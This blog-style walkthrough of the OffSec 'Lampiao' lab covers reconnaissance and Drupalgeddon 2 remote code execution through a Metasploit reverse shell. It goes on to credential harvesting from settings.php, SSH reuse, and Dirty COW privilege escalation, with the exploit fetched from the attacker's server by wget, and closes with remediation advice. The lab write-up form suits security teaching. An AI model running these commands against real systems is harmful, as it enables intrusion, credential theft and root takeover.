Lampiao- Offsec PG

Lets start by adding the <ip> to the hosts for easy walk-around

sudo nano /etc/hosts, edit and save

Reconnaissance and Enumeration

An initial network scan was performed to identify open ports

nmap -p- --min-rate 5000 -A -sC -sV lampiao.off

While the scanning is running, lets check the default port(80) for any clue and also, it is advisable to start directory brute-forcing as well as this might ease and also saves time.

There is nothing interesting here I think, but lets wait for directory fuffing to finish maybe there might be a clue

fuffing through port 80 yielded nothing, I think we have another interesting port to scan again.

port 1898 is opened, thats suspicious

As you can see, we have a login page, that means we need some credentials. lets fuff directories first including the robots.txt

there are Disallowed Directories / Files:

The first thing that came to my mind is the CHANGELOG.txt, why???

In Drupal, CHANGELOG.txt is a core file that documents every single patch, security fix, and update the developers have made. It sits right in the web root.

Get N30n’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Seeing that the web is running on drupal and we could find hint from the above directory, I think not twice. navigating to the directory amazed me

This is very informative as I see the version, I think there is a valid Vuln here, Drupal contains many vulnerabilities. it is time we do some OSINT.

Searching for Drupal 7.54 Exploit, I found something………

This is very interesting, Lets open our metasploit, I dont need to harverst any credentials again I think

So lets set-up our taget

use 1
show options
set RHOSTS Lampiao.off
set RPORT 1898
set LHOST <kali ip>
ser LPORT 4444
run

And We got a shell! dont forget to run shell command

lets get the inital flag

Now we have a valid username tiago, should go back to web interface to brute-force password through hydra ? or we should walkthough the CLI. lets do some priv-esc

priv-esc

navigating to this directory during privilege escalation, I found a password but not sure if its for the user we found, lets try through ssh.

cat /var/www/html/sites/default/settings.php

SSH-connection

Boom! We are in

We can now run sudo -l and others but we must get root access for the final flag. unfortunate, user tiago cant run the sudo -l

I found the linux version suspiciuos, lets recon the version.

bro! what is dirty cow vulnerabilty??? I think we can escalate here

Before running a complex kernel exploit, I checked for standard misconfigurations. I found pkexec (the PwnKit vulnerability CVE-2021-4034) was installed. However, when I tried to exploit it, I got an error: Error getting authority: Error initializing authority: Could not connect

Preparing the exploit

Because the target had gcc installed, I decided to compile the exploit directly on the target machine.
First, on my Kali machine, I used searchsploit to grab the Dirty COW C++ exploit (Exploit-DB ID 40847):

searchsploit -m 40847.cpp

I then hosted it using a Python server:

python3 -m http.server 8000

On the target machine (as tiago), I downloaded the file into the /tmp directory (since it is world-writable):

cd /tmp
wget http://<YOUR_KALI_IP>:8000/40847.cpp

When I first tried to compile it, it failed because the exploit uses modern C++ features that the old Ubuntu 14.04 compiler didn’t support by default. I fixed this by specifying the C++11 standard and linking the necessary util library:

g++ -std=c++11 40847.cpp -o dirty -pthread -lutil

Exploiting the Race Condition

lets run this by ./dirty.The exploit rapidly uses madvise() and write() commands to abuse a race condition in the Linux kernel's Copy-On-Write (COW) memory management. It successfully overwrites the /etc/passwd file, injecting a new root user (or changing the existing root password) to dirtyCowFun

Conclusion

The Lampião machine demonstrates how a chain of well-known vulnerabilities and poor security practices can lead to a complete system compromise. The penetration test began by identifying an outdated Drupal 7.54 installation via the CHANGELOG.txt file, which immediately signaled the presence of CVE-2018-7600 (Drupalgeddon 2). This unauthenticated Remote Code Execution (RCE) vulnerability provided an initial foothold as the www-data user.

The critical turning point was the discovery of a plaintext database password (Virgulino) inside the Drupal settings.php configuration file. Due to password reuse, this credential allowed lateral movement via SSH to the user tiago, significantly expanding the attack surface.

Finally, privilege escalation to root was achieved by exploiting CVE-2016-5195 (Dirty COW), a race condition in the Linux kernel. Since the system was running an unpatched Ubuntu 14.04 kernel (4.4.0-31), the exploit successfully overwrote the /etc/passwd file, granting full administrative access.

Key Takeaways & Remediation

1. Patch Management is Critical: Both the initial access (Drupal) and the privilege escalation (Dirty COW) relied on software that was years out of date. Regular patching and upgrading to supported versions (e.g., Drupal 10, Ubuntu 22.04) would have neutralized both exploits.
2. Avoid Credential Reuse: The database password was reused for the SSH login. Using unique, complex passwords for every service (and storing them securely in a secrets manager) prevents lateral movement.
3. Secure Configuration Files: Sensitive configuration files like settings.php should have strict file permissions (e.g., chmod 440) and should never store passwords in plaintext.
4. Defense in Depth: Even if the initial RCE had occurred, a properly hardened kernel (with unprivileged BPF disabled, or AppArmor/SELinux profiles enforced) would have made the Dirty COW exploit significantly harder to execute.

Happy hacking!!!